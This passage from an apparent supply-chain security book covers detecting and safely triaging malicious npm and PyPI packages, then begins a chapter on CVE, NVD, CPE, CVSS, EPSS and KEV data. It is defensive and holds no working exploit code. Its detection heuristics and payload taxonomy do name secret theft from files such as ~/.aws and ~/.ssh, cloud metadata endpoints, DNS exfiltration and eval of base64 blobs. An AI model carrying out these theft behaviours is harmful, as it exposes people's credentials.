Obfuscated (any)	High-entropy blob, base64→ `eval` / `exec`	Static entropy/obfuscation heuristic; dynamic to see the behavior

The ecosystem's malware infrastructure

You are not detecting alone. Several shared datasets and scanners now operate at the registry level:

- **GitHub / npm malware scanning** — npm (owned by GitHub) runs automated malware scanning over published packages and issues **npm security/malware advisories**; malicious versions get removed and flagged.
- **PyPI malware checks and quarantine** — PyPI runs malware-detection tooling over uploads and, since 2024, can **quarantine** a project (making it uninstallable) while a report is investigated, in addition to reactive removals.

- **OpenSSF `malicious-packages`** — a public repository of confirmed-malicious package records in **OSV format**, aggregating findings across ecosystems; you can consume it as a feed to block or alert on known-bad versions.
- **Datadog `malicious-software-packages-dataset`** — a public dataset of real captured malicious packages (source included, defanged) useful for building and testing your own detectors.
- **OpenSSF Package Feeds / Package Analysis** — the pipeline that watches new publications and feeds the sandboxing and datasets above.

Consuming these as inputs to your ingestion gate (Chapter 8) gives you the ecosystem's collective detection for free; contributing your own findings back closes the loop.

A safe triage runbook

When a scanner flags a package — or worse, when you suspect one already entered a build — you have to analyze it *without detonating it on a machine that matters*. Never `npm install` a suspected-malicious package on your laptop, on a shared runner, or anywhere with real credentials; installation is execution.

```
flowchart TD
  START["Flagged / suspected package + exact version"] -->
ISO["Provision throwaway VM or container
no real creds, disposable identity"]
  ISO --> CAP["Enable full capture:
network proxy + DNS log + filesystem + process audit"]
  CAP --> FETCH["Download the exact version tarball/sdist
do NOT install yet"]
  FETCH --> READ["Static pass:
read package.json scripts, setup.py,
unpack & grep for eval/exec/net/paths"]
  READ --> INSTALL["Install with capture on
('npm install' / 'pip install --no-binary')"]
  INSTALL --> IMPORT["Import/require the module
with capture on"]
  IMPORT --> OBSERVE["Observe: outbound hosts, DNS queries,
files touched, processes spawned, dropped binaries"]
  OBSERVE --> DECODE["De-obfuscate blobs; if a dropper,
capture stage-2 URL and pull it in the sandbox"]
  DECODE --> VERDICT{"Malicious?"}
  VERDICT -->|yes| IOC["Extract IOCs: C2 hosts, wallet addrs, hashes"]
  VERDICT -->|no / gated| GATE["Note gating conditions;
re-run mimicking target env"]
  IOC --> REPORT["Report to registry + OSSF malicious-packages;
hand IOCs to IR (Book 8)"]
  IOC --> SCOPE["Scope: query fleet inventory —
which services pulled this version? (SBOM, Book 3)"]
```

The non-negotiables of the runbook:

1. **Isolation first.** A disposable VM or a strongly-sandboxed container (gVisor, Firecracker) with no path to production, no real cloud credentials in the environment, and a snapshot you can revert. Assume the package will try to steal whatever it can reach.
2. **No real secrets, but plausible decoys.** Seed the environment with *fake* `~/.aws`, `~/.ssh`, and env-var tokens (honeytokens). If the payload exfiltrates them, your capture proves the behavior *and* your honeytoken alerting tells you where it phoned home.
3. **Capture everything, from before you install.** A network proxy or `tcpdump` plus a DNS query log (DNS exfil is invisible to HTTP-only capture), filesystem auditing (`fatrace`, auditd, or a copy-on-write overlay diffed after), and process auditing (`execsnoop`/eBPF, `strace`). Turn capture on *before* the install, since install-time is where most payloads fire.

4. **Static before dynamic.** Read the manifest scripts and unpack the tarball first. You often find the payload by reading `postinstall` and `setup.py` before you ever run anything, which also tells you what to watch for.
5. **Follow the stages.** If it's a dropper, capture the stage-2 URL and pull *that* in the sandbox — but expect gating; the server may serve benign content to your sandbox IP. If the package is environment-gated (nothing fired), don't conclude "clean" — note the gate conditions and re-run mimicking the target (the right CI env vars, hostname, arch).
6. **Extract IOCs and scope.** C2 hostnames, wallet addresses, dropped-binary hashes, exfil endpoints. Then pivot from "is this package bad" to "did it touch us" — query your fleet's SBOM/inventory (Book 3) for which services resolved that exact version, and hand the IOCs to incident response (Book 8).

Distributed-systems lens

Everything above was about one package. A backend org runs thousands of services across hundreds of repos, each pulling a large transitive graph, with builds firing continuously. The economics of defense change completely at that scale, and they point at two controls that dominate all others.

Scan at ingestion, once, for the whole fleet. The worst place to detect a malicious package is on the developer's laptop or the individual CI job, because by then it has already executed — install *is* execution — on N machines. The right place is the **internal proxy/registry** (Chapter 8) that every build pulls through. A package entering the org for the first time is scanned *before* it is cached and served: static heuristics (GuardDog/Socket/Semgrep) and, ideally, a dynamic sandbox pass (Package Analysis), plus a check against the OSF malicious-packages feed. A verdict computed once at the chokepoint protects every downstream service that would ever pull it. This is the same architectural argument as Chapter 1's case for an internal registry, now with a security payload: the proxy is not just a cache and an availability decoupler, it is the *one place* where a scan has fleet-wide leverage. Ten thousand build jobs should not each independently re-derive whether `left-pad@99.0.0` is safe.

The cooldown / quarantine window is the cheapest high-value control you have. Almost every mass-impact incident in this chapter was a *smash-and-grab against the newest version*: ua-parser-js's malicious releases were caught and removed within hours; typosquat and dependency-confusion payloads are designed to fire the instant they resolve. A policy that simply **refuses to adopt any package version younger than N days** — a quarantine or "minimum age" cooldown — defeats the entire class, because by the time your builds are allowed to pull `3.2.1`, the ecosystem's scanners, the maintainer, and other victims have had days to detect and yank it. Renovate implements exactly this with `minimumReleaseAge` (formerly `stabilityDays`); Artifactory and other proxies can enforce an equivalent age gate at ingestion. The cost is mild — you adopt security fixes a few days later, which you reconcile with an expedited path for genuine emergencies (Chapter 9). The benefit is that a window of days converts the ecosystem's *collective, eventual* detection into *your prospective* protection, across every service, for essentially free. Combine it with ingestion scanning and you have covered both the known-bad (feeds, scanners) and the not-yet-known-bad (time).

Turn install-time execution off by default, allowlist back on. At fleet scale the CI default should be `npm ci --ignore-scripts`, with a small, reviewed allowlist (e.g., `@lavamoat/allow-scripts`) re-enabling scripts only for the handful of packages that legitimately need them. This neutralizes the dominant vector everywhere at once, and the allowlist makes the exceptions visible and auditable. For Python, prefer wheels (`--only-binary`) over sdists where possible, keeping installs on the no-code path.

Feed detections into org-wide inventory. A detection is only half the value; the other half is *scope*. When a version is flagged — by your gate or by a late-breaking advisory for something you already adopted — the question is instantly "which of our services pulled it, and when did it run?" That answer comes from a fleet-wide SBOM/inventory (Book 3) keyed on exact resolved versions and content hashes (which is why Chapter 2's insistence on committed, hash-pinned lockfiles is load-bearing here). Ingestion scanning tells you *whether* to let a package in; inventory tells you *who* is already exposed if one slips through, and hands incident response (Book 8) a precise blast radius instead of a fleet-wide guess. The malicious-package problem is, at scale, an inventory and chokepoint problem as much as a code-analysis problem.

Key takeaways

- **Installing is executing.** In npm (lifecycle scripts), Python sdists (`setup.py`/PEP 517 build hooks), and RubyGems (`gemspec` eval, `extconf.rb`), merely installing a package — even a deep transitive one you never named — runs attacker code with the invoking user's privileges and secrets. This is the #1 vector. `--ignore-scripts` neutralizes it but is all-or-nothing and does nothing for the other phases.
- **Three execution phases, gated differently.** Install-time (dominant, opt-out with scripts off), import-time (runs on `require`/`import`, no clean opt-out, better-targeted), and build-time (native addons, Rust `build.rs`/proc-macros, Gradle/Maven plugins — the phase that removes the "we don't run install scripts" defense; xz-utils lived here).
- **The payload taxonomy is your detection target list:** recon/beaconing (often DNS-exfil), credential theft (env, `~/.aws`/`.ssh`/`.npmrc`, metadata IP — Codecov), cryptominers (ua-parser-js XMRig), backdoors/RATs, wallet/clipboard stealers (event-stream/Copay), wipers/protestware (node-ipc), and multi-stage droppers with second-stage gating.
- **Evasion is designed to beat scanners:** obfuscation, real-library re-export, delayed and environment-gated activation (event-stream fired only in Copay; xz gated on distro/arch), sandbox detection, split payloads across versions/packages, and the sleeper/handover package that is benign for years then turns — which is why reputation-by-age is not enough and per-version scanning matters.
- **Detection needs all three modes.** Static heuristics (GuardDog, Socket, Semgrep) scale and catch capability/obfuscation signals; dynamic sandboxing (OpenSSF Package Analysis) sees through obfuscation and catches droppers but is defeated by gating/sandbox-detection; reputation/provenance signals (account age, cadence, repo-linkage/starjacking, sudden maintainer change) are individually weak and collectively decisive. This is *not* what `npm audit`/OSV vulnerability scanning does — malware has no CVE.
- **Triage safely:** disposable isolated VM, no real credentials (honeytoken decoys), full network+DNS+filesystem+process capture

turned on *before* install, static-read before dynamic-run, follow the stages, extract IOCs, then scope against fleet inventory.

- **At scale, two controls dominate:** scan at ingestion so one scan protects the whole fleet, and impose a version cooldown (Renovate `minimumReleaseAge`, proxy age gates) that converts the ecosystem's eventual detection into your prospective protection and defeats nearly every smash-and-grab. Feed detections into SBOM-keyed inventory so a hit yields a precise blast radius, not a fleet-wide guess.

Further reading

- OpenSSF Package Analysis — dynamic sandboxing of newly-published packages (https://github.com/ossf/package-analysis).
- OpenSSF `malicious-packages` — confirmed-malicious package records in OSV format (https://github.com/ossf/malicious-packages).
- GuardDog (Datadog) — Semgrep-plus-metadata heuristics for npm and PyPI (https://github.com/DataDog/guarddog).
- Datadog `malicious-software-packages-dataset` — captured real malicious packages for detector research (https://github.com/DataDog/malicious-software-packages-dataset).
- Socket — behavioral/capability-diff supply-chain risk scanning (https://socket.dev).
- npm documentation on scripts and `--ignore-scripts` (https://docs.npmjs.com/cli/v10/using-npm/scripts) and LavaMoat `allow-scripts` (https://github.com/LavaMoat/LavaMoat).
- Python packaging: source distributions, build backends, and PEP 517 (https://peps.python.org/pep-0517/), and the security note that wheels do not execute code at install while sdists do.
- PyPI security and project quarantine (https://blog.pypi.org/) — announcements of malware reporting and the quarantine feature.
- Alex Birsan, "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" (2021) — the beacon-based dependency-confusion research (https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610).
- The event-stream / flatmap-stream incident write-up and the GitHub issue thread (https://github.com/dominictarr/event-stream/issues/116).

- The xz-utils backdoor (CVE-2024-3094) — Openwall oss-security disclosure and Andres Freund's analysis (https://www.openwall.com/lists/oss-security/2024/03/29/4).
- Renovate `minimumReleaseAge` configuration for version cooldowns (https://docs.renovatebot.com/configuration-options/#minimumreleaseage).

Chapter 5 — Vulnerability Databases and Identifiers: CVE, NVD, OSV, GHSA

What this chapter covers. When your scanner tells you that `log4j-core:2.14.1` is affected by CVE-2021-44228, a surprising amount of machinery stands behind that one sentence. A researcher found the bug; a CVE Numbering Authority minted an identifier; NIST attached a CVSS score and a product string; GitHub, Google, and half a dozen language-specific projects each re-described the same vulnerability in their own schema; and your scanner ingested some subset of those feeds and matched them against your dependency graph. The differences between those descriptions are not cosmetic. They are the reason two reputable scanners hand you two different vulnerability counts for the *identical* commit, and the reason one of them flags a package you do not actually use. This chapter takes the vulnerability-data ecosystem apart so you can build correct tooling on top of it, reconcile the disagreements, and understand precisely why the coarse, product-centric world of CVE/NVD is being displaced — for software dependencies — by the package-and-range world of OSV.

Learning goals — after this chapter you should be able to:

- Explain **what a CVE ID actually is** (an identifier plus a description — not a severity, not a fix, not a guarantee of accuracy), how the federated **CNA** model mints them, the CVE Record JSON 5.x format, and the reserved → published → rejected/disputed lifecycle.
- Describe the **known weaknesses of CVE** — assignment inconsistency, disputes, coverage gaps for open source — and account accurately, with appropriate hedging, for the 2024 **NVD enrichment backlog** and the April 2025 **MITRE/CVE funding scare** and its resolution.

- Separate **CVE from NVD**: what NIST's enrichment layer adds (CVSS, CWE, CPE) and why **CPE matching** is structurally the wrong tool for mapping a Maven coordinate or npm package to a vulnerability — the root cause of a large class of false positives and negatives.
- Read a **CVSS v3.1 or v4.0** vector, say what the base score does and does not mean, and name the better prioritization inputs — **EPSS** and **CISA KEV** — that belong alongside it.
- Describe the **OSV schema** and osv.dev: vulnerabilities expressed against package + ecosystem + affected version ranges using purl-like coordinates and introduced/fixed events, and why this is dramatically better for dependency scanning than CPE.
- Situate **GHSA**, the GitHub Advisory Database, and the ecosystem-specific databases (RustSec, PySec/PyPA, the Go vuln DB, FriendsOfPHP, GitLab, Sonatype OSS Index) in the federation, and place **purl** as the universal package coordinate against CPE.
- Explain concretely **why two scanners disagree**, and design a single normalized vulnerability data model for a fleet.

A note on scope. This chapter is about the *data* — the identifiers, schemas, and databases, and how a scanner consumes them. How a scanner is actually built and operated end to end is Chapter 6 — Software Composition Analysis in Depth. Why a CVSS 9.8 on a dependency you ship may still be unexploitable, and how to prioritize accordingly, is Chapter 7 — Reachability, Exploitability, and Prioritization. How you record "not affected" decisions as machine- readable VEX is Book 3, Chapter 6. This chapter gives you the vocabulary and the data model those chapters assume.

The shape of the ecosystem

Before the details, hold the whole flow in your head. A vulnerability travels from discovery to your alert queue through a pipeline of independent organizations, each adding or re-describing information, none of them fully authoritative over the others.

```
flowchart TD
    R["Researcher / maintainer
discovers a flaw"] --> CNA["CNA
(CVE Numbering Authority)
reserves + publishes a CVE ID
= identifier + description"]
    CNA --> CVEList["CVE List
(MITRE, JSON 5.x records)"]
    CVEList --> NVD["NVD (NIST)
enrichment: CVSS, CWE, CPE"]
    CVEList --> GHSA["GitHub Advisory DB
(GHSA IDs)"]
    R -.->|"often no CVE at all"| Eco["Ecosystem DBs:
RustSec, PySec/PyPA,
Go vuln DB, npm, FriendsOfPHP"]
    GHSA --> OSV["OSV.dev
normalized schema:
package + ecosystem + ranges"]
    Eco --> OSV
    NVD -.->|"CPE feed"| Scanner
    OSV --> Scanner["SCA scanners
(osv-scanner, Trivy, Grype,
Dependabot, Snyk, ...)"]
    Scanner --> You["Your alert queue"]
```

Three things about this picture matter more than any single box. First, **the identifier and the severity are produced by different organizations** — MITRE's CNA network mints the CVE; NIST's NVD scores it — and those steps can desynchronize, which is exactly what happened in 2024. Second, **a huge fraction of open-source vulnerabilities never enter through the CVE door at all**; they are born in an ecosystem database (RustSec, the Go vuln DB) and may acquire a CVE later, or never. Third, **OSV.dev is a normalizer, not an originator** — it re-expresses everyone else's advisories in one schema keyed by package and version range.

The CVE system

What a CVE ID is — and what it is not

A **CVE ID** looks like `CVE-2021-44228`: the literal prefix `CVE`, a four-digit year, and a sequence number. The year is the year the ID was *assigned or reserved*, not necessarily the year the vulnerability was disclosed or the year the product shipped. The sequence number is **at least four digits with no fixed upper bound** — a common misconception is that it is

exactly four or five digits. Since a 2014 syntax change the arbitrary-length form (`CVE-2014-10000` and beyond) is valid, precisely so that a year can hold more than 9,999 CVEs. In 2024 the program issued well over 40,000 IDs, so the seven-digit form is now routine.

Here is the load-bearing definition, and it is narrower than most engineers assume:

> **A CVE is a stable identifier plus a prose description of a specific vulnerability in a specific product. That is all it is.**

A CVE is *not* a severity score. It is *not* a CVSS vector. It is *not* a statement that a fix exists, nor which versions are affected in any machine-readable form, nor a judgment that the report is even correct. All of those things are added *later*, by *other* parties (chiefly NVD and the ecosystem databases), or not at all. The CVE program's job is precisely and only to guarantee that when two tools say "CVE-2021-44228," they mean the same flaw. That deduplication guarantee — one identifier, one vulnerability, globally — is the entire point of the system, and it is genuinely valuable. Confusing the identifier with the risk assessment is the first and most common mistake in this domain.

The MITRE program and the federated CNA model

The CVE Program is operated by **MITRE**, a US federally funded research and development corporation, under sponsorship (and funding) from the **Cybersecurity and Infrastructure Security Agency (CISA)**, part of the US Department of Homeland Security. But MITRE does not assign most CVEs itself. Assignment is **federated** across a network of **CVE Numbering Authorities (CNAs)** — organizations authorized to allocate CVE IDs within a defined scope.

There are several hundred CNAs (the number grows continually; it is well past 400). The scope model is what makes federation work:

- **Vendor CNAs** cover their own products: Microsoft, Red Hat, Oracle, Google, Apple, Cisco, and so on assign CVEs for vulnerabilities in software they publish. GitHub is a CNA and assigns CVEs (and GHSAs) for advisories in its Advisory Database, including on behalf of open-source maintainers.
- **Open-source and third-party coordinator CNAs** cover projects that are not themselves vendors — for example curl, the Linux kernel

(which became its own CNA in 2024), the Apache Software Foundation, and Python.

- **CNA-LRs (CNAs of Last Resort)** and **Top-Level Roots** sit above the leaf CNAs. MITRE is a root and a CNA-LR; CISA operates a root for industrial-control-system (ICS/OT) and medical-device coverage. When a vulnerability falls outside every leaf CNA's scope, the last-resort CNA handles it.

This federation is a classic distributed-systems trade-off. It **scales** — no central body could triage tens of thousands of reports a year — and it puts assignment close to the parties with the most product knowledge. But it **sacrifices consistency**: each CNA applies its own judgment about what deserves a CVE, how to write the description, how to scope "one" vulnerability versus several, and how quickly to publish. The result is exactly what you would predict from any eventually-consistent system with hundreds of independent writers and no strong schema enforcement: wide variance in quality and timeliness.

The CVE Record format (JSON 5.x)

The modern CVE Record is a JSON document conforming to the **CVE JSON Record Format, schema version 5.x** (5.0 introduced the current structure; 5.1 refined it). This replaced the older 4.0 format and is produced and consumed through **CVE Services**, the program's API for CNAs to reserve and publish records. The whole CVE List is published as JSON on GitHub (`CVEProject/cvelistV5`), which is where most downstream consumers now pull from.

The record separates a mandatory **CNA container** (authored by the assigning CNA) from optional **ADP containers** (Authorized Data Publishers — parties allowed to enrich a record without owning it; CISA's "Vulnrichment" program adds CVSS and CWE this way). A trimmed record looks like this:

```
{
  "cveMetadata": {
    "cveId": "CVE-2021-44228",
    "assignerShortName": "apache",
    "state": "PUBLISHED"
  },
  "containers": {
    "cna": {
      "affected": [
        {
          "vendor": "Apache Software Foundation",
          "product": "Apache Log4j2",
          "versions": [
            { "version": "2.0-beta9", "lessThan": "2.15.0",
              "status": "affected", "versionType": "maven" }
          ]
        }
      ],
      "descriptions": [
        { "lang": "en", "value": "JNDI features used in
configuration ..." }
      ],
      "problemTypes": [ { "descriptions": [ { "cweId":
"CWE-502" } ] } ]
    }
  }
}
```

Note the `affected` block. The 5.x schema *can* express version ranges (`versions` with `lessThan` / `versionType`), and this is a real improvement over 4.0. But the field is optional, loosely typed, and inconsistently populated by CNAs, and — crucially — it is *not* the data NVD historically used for matching. NVD re-derives affected ranges into **CPE** applicability statements, which is where the trouble begins (next section).

The lifecycle: reserved → published → rejected/disputed

A CVE ID moves through a small state machine:

```
stateDiagram-v2
    [*] --> RESERVED: CNA reserves an ID
    RESERVED --> PUBLISHED: details disclosed,
record populated
    RESERVED --> REJECTED: not a real vuln /
duplicate / withdrawn
    PUBLISHED --> REJECTED: retracted after publication
    PUBLISHED --> PUBLISHED: DISPUTED tag added
(still published)
    REJECTED --> [*]
    PUBLISHED --> [*]
```

- **RESERVED**: an ID is allocated but details are embargoed or not yet filled in. During coordinated disclosure a CNA reserves the ID early so everyone can reference it, but the public record is a placeholder. Scanners will see the ID with essentially no data.
- **PUBLISHED**: the record has a description and affected-product information. This is the normal terminal state.
- **REJECTED**: the ID was withdrawn — a duplicate, a non-vulnerability, or an erroneous assignment. The ID is *never reused*; it stays rejected forever so dangling references do not silently rebind to a different flaw.
- **DISPUTED**: not a separate state but a tag on a published record indicating that a party (often the vendor) contests whether it is a real vulnerability. The record stays public and the dispute is noted. Disputed CVEs are a genuine operational headache: your scanner may flag one, and "the maintainer says this isn't a bug" is not something a version-range match can encode.

The known weaknesses of CVE

The CVE system's weaknesses follow directly from its design, and you should build tooling that expects them rather than trusting the data blindly.

Assignment inconsistency. Because hundreds of CNAs assign independently, the granularity of "one CVE" varies wildly. Some CNAs mint one CVE per distinct code flaw; others bundle several into one, or split one logical bug across several IDs. Description quality ranges from precise to nearly useless ("a vulnerability in the product allows an attacker to do bad things"). None of this is enforced by a machine-checkable schema.

Disputed and low-quality CVEs. A CVE is not a peer-reviewed claim. Anyone within a CNA's scope can get one issued, and there is a recurring problem of CVEs filed for non-issues, theoretical bugs in unmaintained projects, or as a form of pressure on maintainers. The curl project's maintainer has publicly documented rejecting CVEs filed against curl that the project considers invalid — a well-known example of the friction between the CVE process and open-source maintainers who bear the reputational cost of a scary-sounding but bogus entry.

Coverage gaps for open source. This is the one that matters most for dependency scanning. An enormous number of real, fixed vulnerabilities in open-source libraries **never get a CVE at all**. A maintainer fixes a bug, notes it in a changelog or a GitHub advisory, and moves on; no CNA is involved. The Go, Rust, and Python ecosystems in particular run their own advisory databases precisely because the CVE process was too heavyweight and too slow to capture the long tail of ecosystem vulnerabilities. If your scanner relies on CVE/NVD alone, you are structurally blind to a large slice of open-source risk. This single fact is most of the argument for OSV.

The 2024–2025 turmoil, described carefully

Two related but distinct events shook this ecosystem, and both are frequently garbled. Here is what is well established, stated at the level of certainty that is actually warranted.

The 2024 NVD enrichment slowdown (a NVD problem, not a CVE problem). Beginning around **February 2024**, NIST's NVD **drastically slowed the rate at which it enriched newly published CVEs** — that is, the rate at which it added CVSS scores, CWE mappings, and CPE applicability data on top of the raw CVE records. CVE IDs kept being assigned and published by MITRE and the CNAs; what stalled was NVD's *analysis* layer. NIST publicly attributed this to a combination of factors — increased CVE volume, changes in interagency support, and a transition in processes and tooling — and posted banners acknowledging a growing **backlog** of unenriched CVEs. Through 2024 a large share of newly published CVEs sat without NVD-generated CVSS/CPE data for extended periods. NIST engaged additional contractor support and set targets to work down the backlog, and CISA's "Vulnrichment" ADP program began adding some of the missing enrichment independently. The precise counts and completion dates shifted repeatedly through 2024–2025; treat any

specific "percent of CVEs unenriched" figure you see as a snapshot, not a stable statistic. The durable lesson is structural: **any tool whose matching depends on NVD's CPE data inherited a coverage hole in 2024**, and tools that could fall back to OSV/GHSA/ecosystem data degraded far more gracefully.

The April 2025 MITRE contract funding scare (a CVE-program problem). In **April 2025**, reporting — anchored by a leaked internal MITRE letter — indicated that MITRE's contract to operate the CVE Program (funded through CISA) was set to **lapse on or about April 16, 2025**, raising the prospect of an interruption in CVE assignment and publication. Within roughly a day, **CISA acted to keep the program funded** — widely reported as exercising a contract option / extension (on the order of eleven months) to avert an immediate lapse. Around the same moment, a group of longtime CVE Board members announced the formation of the **CVE Foundation**, a non-profit intended to provide a path to continuity and governance independence for the program should US-government funding prove unreliable in future. As of this writing the CVE Program continues to operate under CISA sponsorship, and the CVE Foundation exists as an organization; the long-term governance model is unsettled. State it that way and no further: there was a near-lapse, it was averted by a last-minute funding extension, and an independent foundation was stood up in response. Do not claim the program "moved" to the foundation or that funding is permanently secured — neither is established.

The two events share a theme worth internalizing: **the vulnerability data your fleet depends on rests on a small amount of government-funded, single-point-of-failure infrastructure.** For a distributed-systems engineer that is a familiar risk category — a critical upstream with no redundancy — and a concrete reason to architect your tooling so it does not depend on any *single* database.

NVD: the enrichment layer

The **National Vulnerability Database**, run by **NIST** (part of the US Department of Commerce, organizationally separate from MITRE and CISA), is best understood as a value-adding *layer on top of the CVE List*, not a competing list. NVD ingests every published CVE and attaches:

- a **CVSS** base score and vector (see below),

- one or more **CWE** identifiers — the *class* of weakness, from MITRE's Common Weakness Enumeration (e.g., CWE-79 cross-site scripting, CWE-502 unsafe deserialization),
- **CPE** applicability statements — the machine-readable answer to "which products and versions does this affect," and
- curated reference links.

The CVSS and CWE additions are genuinely useful. The **CPE** part is where NVD's data model actively fights against the needs of software-dependency scanning, and it is worth understanding exactly why.

CPE and why it is the wrong key for dependencies

CPE (Common Platform Enumeration) is a structured naming scheme for IT products. A CPE 2.3 name is a colon-delimited string:

```
cpe:2.3:a:apache:log4j:2.14.1:*:*:*:*:*:*:*
       |  |      |     |
       |  |      |     └── version
       |  |      └──────── product
       |  └─────────────── vendor
       └────────────────── part (a=application, o=OS, h=hardware)
```

NVD expresses "affected" as CPE **match ranges** — an applicability statement pairing a CPE with bounds like `versionStartIncluding: 2.0` and `versionEndExcluding: 2.15.0`. On its face that is reasonable. The problem is that **CPE was designed to name products in an enterprise asset inventory — installed operating systems, appliances, commercial applications — not to name a package coordinate in a language ecosystem.** For software dependencies this mismatch is fundamental, not incidental:

1. **There is no authoritative, timely mapping from a package coordinate to a CPE.** A Maven coordinate is `groupId:artifactId:version` — say `org.apache.logging.log4j:log4j-core:2.14.1`. An npm package is a name and a semver. A Go module is a URL-like path. *None* of these has a canonical CPE. Someone — historically an NVD analyst — has to *decide* that `log4j-core` maps to `cpe:2.3:a:apache:log4j:...`. That decision is manual, lossy, and often wrong or missing. When NVD's analysts stopped enriching in 2024, this mapping simply was not produced for new CVEs.

2. **The vendor/product string is ambiguous and unstable.** Is it vendor `apache` product `log4j`, or `apache` `log4j2`, or `apache_software_foundation` `apache_log4j`? Different CVEs for the same library have used different CPE strings over time. A matcher that keys on the exact string misses the variants; a matcher that fuzzy-matches over-fires.
3. **One package name, many CPEs; one CPE, many packages.** A single npm name can correspond to several CPE products (forks, renames), and a single CPE product name can be shared by unrelated packages across ecosystems. CPE has no notion of *ecosystem*, so `struts` the Java framework and an unrelated `struts` elsewhere are not cleanly separable.

The practical consequence is a well-known failure mode. A scanner that matches your SBOM against NVD by guessing CPEs produces **false positives** (a CPE collision matches an unrelated product, or a range nominally covers a version whose real fix your build already includes) and **false negatives** (no CPE was ever assigned, or the CPE string your scanner guessed does not match the one NVD recorded, so the match silently never happens). Neither error is a bug in the scanner; both are the direct result of forcing package-manager coordinates through a product-inventory naming scheme. This is the single most important structural fact in the chapter, and the problem OSV exists to solve.

Here is the mismatch drawn out:

```
flowchart LR
    subgraph Your world
      Coord["Package coordinate
pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1"]
    end
    subgraph "CPE path (NVD)"
      Coord -->|"manual, lossy,
often missing"| Guess["Guessed CPE string
cpe:2.3:a:apache:log4j:2.14.1"]
      Guess -->|"exact-ish string +
version range match"| CPEmatch["Match?"]
      CPEmatch --> FP["false positives
+ false negatives"]
    end
    subgraph "purl / OSV path"
      Coord -->|"identity, no guessing"| Purl["purl
pkg:maven/...@2.14.1"]
      Purl -->|"ecosystem-native
range compare"| OSVmatch["Match against
affected ranges"]
      OSVmatch --> Precise["precise per-ecosystem
version decision"]
    end
```

The downstream impact of the 2024 backlog

Because so many scanners were built to consume NVD's CPE feed as a primary source, the 2024 enrichment slowdown propagated directly into their output: newly published CVEs arrived without CPE data, so CPE-based matchers could not place them against any product, and those CVEs effectively went dark for those tools until enrichment caught up. Tools that already consumed OSV/GHSA — which carry their own affected-range data independent of NVD — were far less affected. If you took one operational lesson from 2024, it should be: **do not make NVD/CPE the sole or primary matching source for dependency scanning.** We now turn to scoring, then to the better data model.

CVSS: scoring, and what a score does not tell you

The **Common Vulnerability Scoring System (CVSS)**, maintained by **FIRST.org** (the Forum of Incident Response and Security Teams), turns the qualitative properties of a vulnerability into a 0.0–10.0 number and an accompanying **vector string**. You will meet two versions in the wild

today: **v3.1** (2019, still overwhelmingly the most common in NVD) and **v4.0** (released November 2023, adopted gradually).

Structure: base, and the optional metric groups

CVSS scores are built from metric groups. In v3.1:

- **Base metrics** — intrinsic, unchanging properties. Exploitability sub-metrics: **Attack Vector** (Network/Adjacent/Local/Physical), **Attack Complexity**, **Privileges Required**, **User Interaction**; plus **Scope** (does the flaw let you break out of the vulnerable component's security authority?) and the impact triad **Confidentiality / Integrity / Availability**. The base score is what NVD publishes and what almost everyone quotes.
- **Temporal metrics** — change over time: exploit-code maturity, remediation level, report confidence.
- **Environmental metrics** — the *consumer*'*s* re-scoring for their own deployment (e.g., raising or lowering impact based on how you actually run the component).

A v3.1 vector string is a compact encoding of the base metrics:

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H   →  base score 10.0
```

Read it directly: Attack Vector Network, Attack Complexity Low, no Privileges Required, no User Interaction, Scope Changed, High impact to Confidentiality/Integrity/Availability — the worst case, which is roughly the Log4Shell profile.

CVSS v4.0 reworks this. The headline changes:

- The old *Temporal* group is renamed and refocused as **Threat** metrics, and v4.0 introduces a nomenclature for *which groups you actually scored*: **CVSS-B** (base only), **CVSS-BT** (base + threat), **CVSS-BE** (base + environmental), **CVSS-BTE** (all three). This is an explicit acknowledgement that a bare base score is an incomplete picture — the naming forces you to say so.
- **Scope** is removed and replaced by splitting impact into the **Vulnerable System** (`VC/VI/VA`) and the **Subsequent System** (`SC/SI/SA`), which captures downstream blast radius more granularly than the binary Scope flag did.

- **User Interaction** gains a Passive/Active distinction; a new **Attack Requirements (AT)** metric captures preconditions that Attack Complexity conflated.
- A group of **Supplemental** metrics (Automatable, Recovery, Safety, etc.) provides context that does not change the number.

A v4.0 vector is correspondingly longer, e.g. `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`.

What a CVSS score does and does not mean

CVSS measures **technical severity in the abstract** — how bad the flaw is *if* an attacker can reach and trigger it. It deliberately says nothing about several things that dominate your actual risk:

- **Reachability.** CVSS does not know whether the vulnerable code path is even reachable in your application. A CVSS 9.8 in a function your code never calls is, to you, close to harmless. Determining this is the subject of Chapter 7.
- **Exploitation in practice.** The base score does not encode whether an exploit exists, is public, or is being used. Two 9.8s — one with a weaponized exploit in every botnet, one purely theoretical — are indistinguishable by base score.
- **Your environment.** Whether the component is internet-facing, behind three layers of authentication, or running with the network capability the exploit needs — none of that is in the base metrics. (It is what *environmental* metrics are *for*, but almost nobody computes them, and NVD cannot: it does not know your deployment.)

The failure mode this produces at fleet scale is **alert fatigue**. If you sort your fleet's findings by CVSS base score and start at 10.0, you will spend your first week on vulnerabilities that may be entirely unreachable in your services, while a genuinely exploited 7.5 in an internet-facing edge service waits behind them. **CVSS 9.8 is a starting point, not a verdict.** Two additional feeds do much more to tell you where to actually look:

- **EPSS (Exploit Prediction Scoring System)**, also a FIRST.org effort, publishes for (nearly) every CVE a **probability, 0 to 1, that the vulnerability will be exploited in the wild in the next 30 days**, plus a percentile. It is a data-driven model retrained regularly on observed exploitation. EPSS is explicitly a *likelihood* signal,

orthogonal to CVSS's *severity* signal — the two are meant to be used together (high severity *and* high probability is where you start).

- **CISA KEV (Known Exploited Vulnerabilities) catalog** is a curated list of CVEs for which CISA has **confirmed evidence of active exploitation**. It was established in November 2021 under Binding Operational Directive 22-01 (which mandates remediation timelines for US federal agencies). KEV is small, high-precision, and about as close to "drop everything" as a public feed gets: if a CVE affecting your fleet is on KEV, its theoretical CVSS is beside the point — it is being used *right now*.

A defensible fleet prioritization uses all three: **KEV membership** (is it being exploited?), **EPSS** (how likely is exploitation?), and **CVSS** (how bad if exploited?), gated by **reachability** (can it be triggered in *my* code — Chapter 7). Raw CVSS alone is the weakest of these to lead with.

OSV: vulnerabilities as package + range

